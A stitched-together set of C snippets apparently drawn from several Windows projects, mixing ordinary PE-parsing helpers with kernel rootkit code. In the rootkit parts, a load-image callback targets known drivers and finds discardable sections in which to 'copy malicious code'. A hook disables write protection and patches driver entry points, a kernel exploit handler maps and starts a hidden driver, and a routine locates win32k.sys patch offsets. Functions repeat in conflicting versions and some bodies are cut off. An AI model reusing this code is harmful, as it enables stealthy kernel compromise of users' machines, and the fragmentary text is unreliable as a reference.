PCHAR __GetModuleFileName(HMODULE hDllModule) { PIMAGE_DATA_DIRECTORY directory = (PIMAGE_DATA_DIRECTORY) DATADIRECTORY (NTHEADER (hDllModule), IMAGE_DIRECTORY_ENTRY_EXPORT); if (directory->Size == 0) return NULL; PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY) RVATOVA (hDllModule, directory->VirtualAddress); return (PCHAR) RVATOVA(hDllModule, exports->Name); }
PCHAR __GetMemoryFileName(LPVOID pDllFileBase) { PIMAGE_NT_HEADERS nt_headers = NTHEADER (pDllFileBase); PIMAGE_DATA_DIRECTORY directory = (PIMAGE_DATA_DIRECTORY) DATADIRECTORY (nt_headers, IMAGE_DIRECTORY_ENTRY_EXPORT); if (directory->Size == 0) return NULL; PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY) RVATOVA(pDllFileBase, rva_to_raw(nt_headers, directory->VirtualAddress)); return (PCHAR) RVATOVA(pDllFileBase, rva_to_raw(nt_headers, exports->Name)); }
/* kd> kb ChildEBP RetAddr Args to Child f8afdaa8 805c62ae f8afdcf0 00000000 f8afdb44 DrvHide!LoadImageNotify+0x10 f8afdac8 805a4159 f8afdcf0 00000000 f8afdb44 nt!PsCallImageNotifyRoutines+0x36 f8afdc6c 80576483 f8afdcf0 00000000 00000000 nt!MmLoadSystemImage+0x9e5 f8afdd4c 8057688f 80000378 00000001 00000000 nt!IopLoadDriver+0x371 f8afdd74 80534c02 80000378 00000000 823c63c8 nt!IopLoadUnloadDriver+0x45 f8afddac 805c6160 b286ecf4 00000000 00000000 nt!ExpWorkerThread+0x100 f8afdddc 80541dd2 80534b02 00000001 00000000 nt!PspSystemThreadStartup+0x34 00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16 */ VOID LoadImageNotify( PUNICODE_STRING FullImageName, HANDLE ProcessId, // where image is mapped PIMAGE_INFO ImageInfo) { KeWaitForMutexObject(&m_GlobalMutex, Executive, KernelMode, FALSE, NULL); // check for kernel driver if (ProcessId == 0 && ImageInfo->SystemModeImage && !m_bFreeAreaFound && IsKnownDriver(FullImageName)) { PVOID TargetImageBase = ImageInfo->ImageBase; ULONG TargetImageSize = ImageInfo->ImageSize; DbgMsg( __FILE__, __LINE__, "%d '%wZ' is at "IFMT", size: %d\n", PsGetCurrentProcessId(), FullImageName, TargetImageBase, TargetImageSize ); // check for free area at the image discardable sections if (m_bFreeAreaFound = CheckForFreeArea(TargetImageBase, &m_FreeAreaRVA, &m_FreeAreaLength)) { m_FreeAreaVA = RVATOVA(TargetImageBase, m_FreeAreaRVA); DbgMsg(__FILE__, __LINE__, "Free area found!\n"); // hook image entry point HookImageEntry(TargetImageBase); } } KeReleaseMutex(&m_GlobalMutex, FALSE); }
//-------------------------------------------------------------------------------------- void HookImageEntry(PVOID Image) { PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); PUCHAR Entry = (PUCHAR)RVATOVA(Image, pHeaders->OptionalHeader.AddressOfEntryPoint); // save original code from image entry point memcpy(m_EpOriginalBytes, Entry, EP_PATCH_SIZE); m_HookedEntry = (DRIVER_INITIALIZE *)Entry; // disable memory write protection ClearWp(); #ifdef _X86_ // patch image entry point *(PUCHAR)(Entry + 0) = 0x68; *(PVOID*)(Entry + 1) = NewDriverEntry; *(PUCHAR)(Entry + 5) = 0xC3; #else // _X86_ #error __FUNCTION__ is x86 only #endif // _X86_ // enable memory write protection SetWp(); DbgMsg( __FUNCTION__"(): Image entry point hooked ("IFMT" -> "IFMT")\n", Entry, NewDriverEntry ); }
//-------------------------------------------------------------------------------------- void HookImageEntry(PVOID Image) { PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); PUCHAR Entry = (PUCHAR)RVATOVA(Image, pHeaders->OptionalHeader.AddressOfEntryPoint); // save original code from image entry point memcpy(m_EpOriginalBytes, Entry, EP_PATCH_SIZE); m_HookedEntry = (DRIVER_INITIALIZE *)Entry; // disable memory write protection ForEachProcessor(ClearWp, NULL); // patch image entry point *(PUCHAR)(Entry + 0) = 0x68; *(PVOID*)(Entry + 1) = NewDriverEntry; *(PUCHAR)(Entry + 5) = 0xC3; // enable memory write protection ForEachProcessor(SetWp, NULL); DbgMsg( __FILE__, __LINE__, __FUNCTION__"(): Image entry point hooked ("IFMT" -> "IFMT")\n", Entry, NewDriverEntry ); }
void PerformBaseRelocation(HMODULE hModule, SIZE_T delta) { PIMAGE_NT_HEADERS pNtHeader = NTHEADER(hModule); PIMAGE_DATA_DIRECTORY pDirectory = DATADIRECTORY(pNtHeader, IMAGE_DIRECTORY_ENTRY_BASERELOC); if (pDirectory->Size > 0) { PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)RVATOVA(hModule, pDirectory->VirtualAddress); for (; relocation->VirtualAddress > 0; ) { unsigned char *dest = (unsigned char *)RVATOVA(hModule, relocation->VirtualAddress); unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION); DWORD i; for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) { DWORD *patchAddrHL; #ifdef _WIN64 ULONGLONG *patchAddr64; #endif int type, offset; // the upper 4 bits define the type of relocation type = *relInfo >> 12; // the lower 12 bits define the offset offset = *relInfo & 0xfff; switch (type) { case IMAGE_REL_BASED_ABSOLUTE: // skip relocation break; case IMAGE_REL_BASED_HIGHLOW: // change complete 32 bit address patchAddrHL = (DWORD *) (dest + offset); *patchAddrHL += delta; break; #ifdef _WIN64 case IMAGE_REL_BASED_DIR64: patchAddr64 = (ULONGLONG *) (dest + offset); *patchAddr64 += delta; break; #endif default: //printf("Unknown relocation: %d\n", type); break; } } // advance to next relocation block relocation = (PIMAGE_BASE_RELOCATION) (((char *) relocation) + relocation->SizeOfBlock); } }
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT) { PIMAGE_FILE_HEADER pFH; PIMAGE_OPTIONAL_HEADER pOH; PIMAGE_SECTION_HEADER pSH; PIMAGE_BASE_RELOCATION pBR; PIMAGE_FIXUP_ENTRY pFE; DWORD dwFixups=0,i; DWORD dwPointerRva; DWORD dwPointsToRva; DWORD dwKiServiceTable; BOOL bFirstChunk; if( !GetHeaders((PCHAR)hModule,&pFH,&pOH,&pSH) ) return NULL; if( (pOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) && !((pFH->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED) ) { pBR = (PIMAGE_BASE_RELOCATION) RVATOVA(pOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule); bFirstChunk = true; while( bFirstChunk || pBR->VirtualAddress ) { bFirstChunk = false; pFE = (PIMAGE_FIXUP_ENTRY)((DWORD)pBR + sizeof(IMAGE_BASE_RELOCATION)); for( i=0; i < (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))>>1; i++,pFE++ ) { if( pFE->type == IMAGE_REL_BASED_HIGHLOW ) { dwFixups++; dwPointerRva = pBR->VirtualAddress + pFE->offset; dwPointsToRva = *(PDWORD)((DWORD)hModule + dwPointerRva) - (DWORD)pOH->ImageBase; if( dwPointsToRva == dwKSDT ) { if( *(PWORD)((DWORD)hModule + dwPointerRva - 2) == 0x05c7 ) { dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwPointerRva + 4) - pOH->ImageBase; return dwKiServiceTable; } } } } *(PDWORD)&pBR += pBR->SizeOfBlock; } } return NULL; }
//-------------------------------------------------------------------------------------- PVOID RuntimeGetExportAddress(PVOID Image, char *lpszFunctionName) { PIMAGE_EXPORT_DIRECTORY pExport = NULL; PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { // 32-bit image if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image, pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); } } else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) { // 64-bit image PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image, pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); } } else { return NULL; } if (pExport) { PULONG AddressOfFunctions = (PULONG)RVATOVA(Image, pExport->AddressOfFunctions); PSHORT AddrOfOrdinals = (PSHORT)RVATOVA(Image, pExport->AddressOfNameOrdinals); PULONG AddressOfNames = (PULONG)RVATOVA(Image, pExport->AddressOfNames); // enumerate exports for (ULONG i = 0; i < pExport->NumberOfFunctions; i++) { if (!my_strcmp((char *)RVATOVA(Image, AddressOfNames[i]), lpszFunctionName)) { return RVATOVA(Image, AddressOfFunctions[AddrOfOrdinals[i]]); } } } return NULL; }
static void* get_section_raw(void* file_base, const char* section_name) { if (file_base) { PIMAGE_SECTION_HEADER aim_section = get_spectial_section_byname(file_base, section_name); if (aim_section) { if (aim_section->PointerToRawData) { return (void*)RVATOVA(file_base, aim_section->PointerToRawData); } } } return (NULL); }
static void* get_section(void* pe_base, const char* section_name) { if (pe_base) { PIMAGE_SECTION_HEADER aim_section = get_spectial_section_byname(pe_base, section_name); if (aim_section) { if (aim_section->VirtualAddress) { return (void*)RVATOVA(pe_base, aim_section->VirtualAddress); } } } return (NULL); }
VOID LoadImageNotify( PUNICODE_STRING FullImageName, HANDLE ProcessId, // where image is mapped PIMAGE_INFO ImageInfo) { if (m_FreeAreaFound) { return; } // check for kernel driver if (ProcessId == 0 && ImageInfo->SystemModeImage) { BOOLEAN bImageFound = FALSE; PVOID TargetImageBase = ImageInfo->ImageBase; ULONG TargetImageSize = ImageInfo->ImageSize; DbgMsg( __FUNCTION__"(): '%wZ' is at "IFMT", size=%d\n", FullImageName, TargetImageBase, TargetImageSize ); // check for the known image for (ULONG i = 0; i < sizeof(m_Images) / sizeof(PWSTR); i++) { UNICODE_STRING usName; RtlInitUnicodeString(&usName, m_Images[i]); if (EqualUnicodeString_r(FullImageName, &usName, TRUE)) { bImageFound = TRUE; break; } } if (bImageFound) { // check for the free space in image discardable sections ULONG FreeAreaRVA = 0, FreeAreaLength = 0; if (CheckForFreeArea(TargetImageBase, &FreeAreaRVA, &FreeAreaLength)) { // copy malicious code into this image m_FreeAreaFound = RVATOVA(TargetImageBase, FreeAreaRVA); HookImageEntry(TargetImageBase); } } } }
static void* get_section(void* pe_base, const char* section_name) { if ((pe_base) && (section_name)) { PIMAGE_SECTION_HEADER aim_section = get_spectial_section_byname(pe_base, section_name); if (aim_section) { if (aim_section->VirtualAddress) { return (void*)RVATOVA(pe_base, aim_section->VirtualAddress); } } } DbgPrint("can't get_section from \"%x\"'s %s", pe_base, section_name); return (NULL); }
void* make_repack_app(const char* ori_name, const char* app_file, const void* launch_exe, long launch_size, long* repack_size, int cover_repack) { assert(ori_name); assert(app_file); assert(launch_exe); //读取原始被打包文件 DbgPrint("src filename: %s", app_file); long app_file_size; void* app_file_base = get_ori_app_from_file(app_file, &app_file_size, cover_repack); if (app_file_base == NULL) { DbgPrint("get app file error, by pass"); return (NULL); } //将“原始应用”打包成一个节段,塞入pe模版文件中。 long output_file_size; char* output_file_base = append_section_mainpe(launch_exe, launch_size, &output_file_size, ORIGIN_APP_SECTION_NAME, app_file_base, app_file_size); if (output_file_base == NULL) { DbgPrint("make mainpe error"); return (NULL); } //修正package节段的信息 PIMAGE_SECTION_HEADER p_section = get_spectial_section_byname(output_file_base, PACKAGE_SECTION_NAME); if (p_section == NULL) { DbgPrint("repack get section error"); return (NULL); } PACKAGE* package = (PACKAGE*)RVATOVA(output_file_base, p_section->PointerToRawData); package->repack_whoami_index = find_repack_index(package, ori_name); //输出结果 *repack_size = output_file_size; return (output_file_base); }
void* get_ori_app_from_file(const char* app_file, long* app_file_size, int cover_repack) { long ori_file_size; void* ori_file_base = mem_from_file(app_file, &ori_file_size, 0); if (ori_file_base == NULL) { DbgPrint("read file error, by pass"); return (NULL); } //判断:如果打包过,则忽略 if (is_section_exists(ori_file_base, PACKAGE_SECTION_NAME)) { if (cover_repack) { DbgPrint("has been packed, only get \"STOREAPP\""); PIMAGE_SECTION_HEADER s_storepe = get_spectial_section_byname(ori_file_base, ORIGIN_APP_SECTION_NAME); if (s_storepe) { void* storepe_base = (void*)RVATOVA(ori_file_base, s_storepe->PointerToRawData); long storepe_size = s_storepe->Misc.VirtualSize; void* result_mem = malloc(storepe_size); memcpy(result_mem, storepe_base, storepe_size); free(ori_file_base); *app_file_size = storepe_size; return (result_mem); } DbgPrint("get \"STOREAPP\" section error!"); } DbgPrint("has been packed, by pass"); free(ori_file_base); return (NULL); } *app_file_size = ori_file_size; return (ori_file_base); }
void* make_launch(PACKAGE* package, long* launch_size) { void* stub_base = (void*)PACKAGE(package->stub_exe); long stub_size = package->stub_exe.length; assert(stub_base); assert(stub_size); long section_va; long section_raw; append_section_try(stub_base, §ion_va, §ion_raw); long output_size; void* launch_exe = append_section(stub_base, stub_size, &output_size, PACKAGE_SECTION_NAME, package, package->size); PACKAGE* package_out = (PACKAGE*)RVATOVA(launch_exe, section_raw); package_out->repack_whoami_index = -1; *launch_size = output_size; return (launch_exe); }
BOOL AnalyseWin32k(PDWORD poffset_UserInitialize, PDWORD poffset_bInitializeEUDC_patch) { DWORD offset_UserInitialize = 0; DWORD offset_bInitializeEUDC_patch = 0; char szPath[MAX_PATH]; GetSystemDirectory(szPath, MAX_PATH); strcat_s(szPath, MAX_PATH, "\\win32k.sys"); HMODULE hMod = LoadLibraryEx(szPath, NULL, DONT_RESOLVE_DLL_REFERENCES); if (hMod) { PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32) ((PUCHAR)hMod + ((PIMAGE_DOS_HEADER)hMod)->e_lfanew); PIMAGE_SECTION_HEADER pSection = NULL, pCodeSection = NULL; PIMAGE_BASE_RELOCATION pRelocation = NULL; ULONG RelocationSize = 0, NumberOfSections = 0; ULONGLONG OldBase = 0; if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { // 32-bit image if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) { pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA( hMod, pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress ); RelocationSize = pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; } OldBase = (ULONGLONG)pHeaders32->OptionalHeader.ImageBase; NumberOfSections = pHeaders32->FileHeader.NumberOfSections; pSection = (PIMAGE_SECTION_HEADER) (pHeaders32->FileHeader.SizeOfOptionalHeader + (PUCHAR)&pHeaders32->OptionalHeader); } else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) { // 64-bit image PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64) ((PUCHAR)hMod + ((PIMAGE_DOS_HEADER)hMod)->e_lfanew); if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) { pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA( hMod, pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress ); RelocationSize = pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; } OldBase = pHeaders64->OptionalHeader.ImageBase; NumberOfSections = pHeaders64->FileHeader.NumberOfSections; pSection = (PIMAGE_SECTION_HEADER) (pHeaders64->FileHeader.SizeOfOptionalHeader + (PUCHAR)&pHeaders64->OptionalHeader); } else { DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unkown machine type\n"); FreeLibrary(hMod); return FALSE; } // enumerate image sections for (ULONG i = 0; i < NumberOfSections; i++) { // find section, that contains global variable if (!strncmp((char *)&pSection->Name, ".text", 5)) { pCodeSection = pSection; break; } pSection += 1; } if (pRelocation && pCodeSection) { // parse image relocation table ULONG Size = 0; while (RelocationSize > Size && pRelocation->SizeOfBlock) { ULONG Number = (pRelocation->SizeOfBlock - 8) / 2; PUSHORT Rel = (PUSHORT)((PUCHAR)pRelocation + 8); for (ULONG i = 0; i < Number; i++) { if (Rel[i] > 0) { USHORT Type = (Rel[i] & 0xF000) >> 12; ULONG Rva = 0; PVOID *Va = NULL; // get address of global variable that used by our instruction if (Type == IMAGE_REL_BASED_HIGHLOW || Type == IMAGE_REL_BASED_DIR64) { Rva = pRelocation->VirtualAddress + (Rel[i] & 0x0FFF); Va = (PVOID *)RVATOVA(hMod, Rva); } else { DbgMsg(__FILE__, __LINE__, __FUNCTION__ "() ERROR: Unknown relocation type (%d)\n", Type); } if (Va && Rva > 0 && Rva > pCodeSection->VirtualAddress && Rva < pCodeSection->VirtualAddress + pCodeSection->Misc.VirtualSize) { // get address of global variable, that requre fixup PVOID VarAddr = *Va; VarAddr = (PVOID)((ULONGLONG)VarAddr - OldBase + (PUCHAR)hMod); if (!IsBadStringPtrW((LPWSTR)VarAddr, MAX_PATH)) { if (!wcscmp((LPWSTR)VarAddr, WIN32K_STR_1)) { DbgMsg( __FILE__, __LINE__, __FUNCTION__"(): \"%ws\" referenced at offset 0x%.8x\n", WIN32K_STR_1, Rva ); // lookup for stdcall prolog of win32k!UserInitialize() for (DWORD i = 0; i < 50; i++) { if (!memcmp( (PUCHAR)Va - i, WIN32K_STDCALL_PROLOG, WIN32K_STDCALL_PROLOG_LEN)) { if (offset_UserInitialize > 0) { DbgMsg( __FILE__, __LINE__, __FUNCTION__"() ERROR: multipile heuristic matches for win32k!UserInitialize()\n" ); FreeLibrary(hMod); return FALSE; } offset_UserInitialize = Rva - i; DbgMsg( __FILE__, __LINE__, __FUNCTION__"(): win32k!UserInitialize() found at offset 0x%.8x\n", offset_UserInitialize ); break; } } } else if (!wcscmp((LPWSTR)VarAddr, WIN32K_STR_2)) { DbgMsg( __FILE__, __LINE__, __FUNCTION__"(): \"%ws\" referenced at offset 0x%.8x\n", WIN32K_STR_2, Rva ); /* Check for the following code in win32k!bInitializeEUDC(): mov ?SharedQueryTable@@A.Name, offset aFontlinkdefaul ; "FontLinkDefaultChar" mov ?SharedQueryTable@@A.EntryContext, eax call edi ; RtlQueryRegistryValues(x,x,x,x,x) test eax, eax jge short loc_BF80525F */ LONG InstPtr = -6; PUCHAR pInst = (PUCHAR)Va; if (*(PUSHORT)(pInst + InstPtr) == 0x05c7) { // disassemble next 5 instructions for (DWORD i = 0; i < 5; i++) { LONG InstLen = (LONG)c_Catchy(pInst + InstPtr); if (InstLen == (LONG)CATCHY_ERROR) { DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: c_Catchy() fails\n"); FreeLibrary(hMod); return FALSE; } InstPtr += InstLen; // check for call edi / test eax, eax if (*(PUSHORT)(pInst + InstPtr + 0) == 0xd7ff && *(PUSHORT)(pInst + InstPtr + 2) == 0xc085) { if (offset_bInitializeEUDC_patch > 0) { DbgMsg( __FILE__, __LINE__, __FUNCTION__"() ERROR: multipile heuristic matches for win32k!bInitializeEUDC()\n" ); FreeLibrary(hMod); return FALSE; } offset_bInitializeEUDC_patch = Rva + InstPtr; DbgMsg( __FILE__, __LINE__, __FUNCTION__"(): win32k!bInitializeEUDC() CALL EDI found at offset 0x%.8x\n", offset_bInitializeEUDC_patch ); break; } } } } } } } } pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)pRelocation + pRelocation->SizeOfBlock); Size += pRelocation->SizeOfBlock; } }
//-------------------------------------------------------------------------------------- BOOLEAN CheckForFreeArea(PVOID Image, PULONG FreeAreaRVA, PULONG FreeAreaLength) { *FreeAreaRVA = NULL; *FreeAreaLength = 0; PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER) (pHeaders->FileHeader.SizeOfOptionalHeader + (PUCHAR)&pHeaders->OptionalHeader); ULONG AreaRVA = NULL; ULONG AreaLength = 0; // enumerate image sections for (ULONG i = 0; i < pHeaders->FileHeader.NumberOfSections; i++) { PVOID SectionVa = RVATOVA(Image, pSection->VirtualAddress); char szSectionName[IMAGE_SIZEOF_SHORT_NAME + 1]; // check for discardable attribute if ((pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) && my_strcmp(szSectionName, "INIT")) { if (AreaRVA && pSection->VirtualAddress == AreaRVA + AreaLength) { // concatenate with the previously found section AreaLength += MY_ALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment); } else { AreaRVA = pSection->VirtualAddress; AreaLength = MY_ALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment); } } pSection += 1; } if (AreaLength >= m_RkSize) { DbgMsg("%d free bytes at 0x%.8x\n", AreaLength, AreaRVA); *FreeAreaRVA = AreaRVA; *FreeAreaLength = AreaLength; pSection = (PIMAGE_SECTION_HEADER) (pHeaders->FileHeader.SizeOfOptionalHeader + (PUCHAR)&pHeaders->OptionalHeader); // erase discardable flag for (ULONG i = 0; i < pHeaders->FileHeader.NumberOfSections; i++) { pSection->Characteristics &= ~IMAGE_SCN_MEM_DISCARDABLE; pSection += 1; } return TRUE; } return FALSE; }
//-------------------------------------------------------------------------------------- void kernel_expl_handler(void *context) { PKERNEL_EXPL_CONTEXT pContext = (PKERNEL_EXPL_CONTEXT)context; PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)RVATOVA( pContext->Data, ((PIMAGE_DOS_HEADER)pContext->Data)->e_lfanew ); // allocate memory for driver image DWORD dwImageSize = pHeaders->OptionalHeader.SizeOfImage; PUCHAR pImage = (PUCHAR)pContext->f_ExAllocatePool(NonPagedPool, dwImageSize); if (pImage) { PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER) RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader); // copy image headers memset(pImage, 0, dwImageSize); memcpy(pImage, pContext->Data, pHeaders->OptionalHeader.SizeOfHeaders); // copy sections for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i++) { memcpy( RVATOVA(pImage, pSection->VirtualAddress), RVATOVA(pContext->Data, pSection->PointerToRawData), min(pSection->SizeOfRawData, pSection->Misc.VirtualSize) ); pSection += 1; } // process image relocations if (!LdrProcessRelocs(pImage, pImage)) { goto end; } char szExport_1[] = { 'm', '_', 'K', 'e', 'r', 'n', 'e', 'l', '\0' }; char szExport_2[] = { 'm', '_', 'D', 'r', 'i', 'v', 'e', 'r', '\0' }; PVOID *KernelBase = (PVOID *)LdrGetProcAddress(pImage, szExport_1); if (KernelBase) { // tell the kernel image base to the driver *KernelBase = pContext->KernelBase; } PVOID *DriverBase = (PVOID *)LdrGetProcAddress(pImage, szExport_2); if (DriverBase) { // tell the actual image base to the driver *DriverBase = pImage; } typedef NTSTATUS (NTAPI * DRIVER_ENTRY)( PVOID DriverObject, PUNICODE_STRING RegistryPath ); // get driver entry point address DRIVER_ENTRY Entry = (DRIVER_ENTRY)RVATOVA( pImage, pHeaders->OptionalHeader.AddressOfEntryPoint ); // call driver entry point if ((pContext->Status = (NTSTATUS)pContext->f_IoCreateDriver(NULL, Entry)) == STATUS_SUCCESS) { pContext->Addr = pImage; // success return; } end: pContext->f_ExFreePoolWithTag(pImage, 0); } }
//-------------------------------------------------------------------------------------- BOOLEAN CheckForFreeArea(PVOID Image, PULONG FreeAreaRVA, PULONG FreeAreaLength) { *FreeAreaRVA = NULL; *FreeAreaLength = 0; PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER) (pHeaders->FileHeader.SizeOfOptionalHeader + (PUCHAR)&pHeaders->OptionalHeader); ULONG AreaRVA = NULL; ULONG AreaLength = 0; // enumerate image sections for (ULONG i = 0; i < pHeaders->FileHeader.NumberOfSections; i++) { PVOID SectionVa = RVATOVA(Image, pSection->VirtualAddress); char szSectionName[IMAGE_SIZEOF_SHORT_NAME + 1]; RtlZeroMemory(szSectionName, sizeof(szSectionName)); RtlCopyMemory(szSectionName, &pSection->Name, IMAGE_SIZEOF_SHORT_NAME); // print section information DbgMsg( __FILE__, __LINE__, "%8s: "IFMT", %8d bytes %s\n", szSectionName, SectionVa, pSection->Misc.VirtualSize, (pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)?"Discardabe":"" ); // check for discardable attribute if ((pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) && strcmp(szSectionName, "INIT")) { if (AreaRVA && pSection->VirtualAddress == AreaRVA + AreaLength) { // concatenate with the previously found section AreaLength += XALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment); } else { AreaRVA = pSection->VirtualAddress; AreaLength = XALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment); } } pSection += 1; } DbgMsg( __FILE__, __LINE__, "%d bytes of the free space has been found at RVA 0x%.8x\n", AreaLength, AreaRVA ); // check if our driver can be stored in the found space if (AreaLength >= m_RequiredSize && pHeaders->OptionalHeader.AddressOfEntryPoint) { *FreeAreaRVA = AreaRVA; *FreeAreaLength = AreaLength; pSection = (PIMAGE_SECTION_HEADER) (pHeaders->FileHeader.SizeOfOptionalHeader + (PUCHAR)&pHeaders->OptionalHeader); // erase discardable flag for (ULONG i = 0; i < pHeaders->FileHeader.NumberOfSections; i++) { pSection->Characteristics &= ~IMAGE_SCN_MEM_DISCARDABLE; pSection += 1; } return TRUE; } return FALSE; }
//-------------------------------------------------------------------------------------- BOOLEAN RuntimeProcessImports(PVOID Image, char *ImportedModuleName, PVOID ImportedModuleBase) { PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); PIMAGE_IMPORT_DESCRIPTOR pImport = NULL; if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { // 32-bit image if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) { pImport = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(Image, pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); } } else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) { // 64-bit image PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) { pImport = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(Image, pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); } } else { return FALSE; } if (pImport) { // enumerate import modules while (pImport->Name != 0) { char szName[MAX_IMAGE_NAME_LEN]; my_strcpy(szName, (char *)RVATOVA(Image, pImport->Name)); if (my_strcmp(my_strlwr(szName), ImportedModuleName)) { // this routine can process only exports from the specified module goto skip_module; } #ifdef _X86_ // process thunk data for 32-bit pointers PIMAGE_THUNK_DATA32 pThunk = (PIMAGE_THUNK_DATA32)RVATOVA(Image, pImport->FirstThunk); #elif _AMD64_ // process thunk data for 64-bit pointers PIMAGE_THUNK_DATA64 pThunk = (PIMAGE_THUNK_DATA64)RVATOVA(Image, pImport->FirstThunk); #endif // enumerate functions of the current module while (pThunk->u1.Ordinal != 0) { PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)RVATOVA(Image, pThunk->u1.AddressOfData); char *lpszFuncName = (char *)&pName->Name; PVOID FuncAddr = RuntimeGetExportAddress(ImportedModuleBase, lpszFuncName); if (FuncAddr == NULL) { return FALSE; } *(PVOID *)pThunk = FuncAddr; pThunk += 1; } skip_module: pImport += 1; } } return TRUE; }
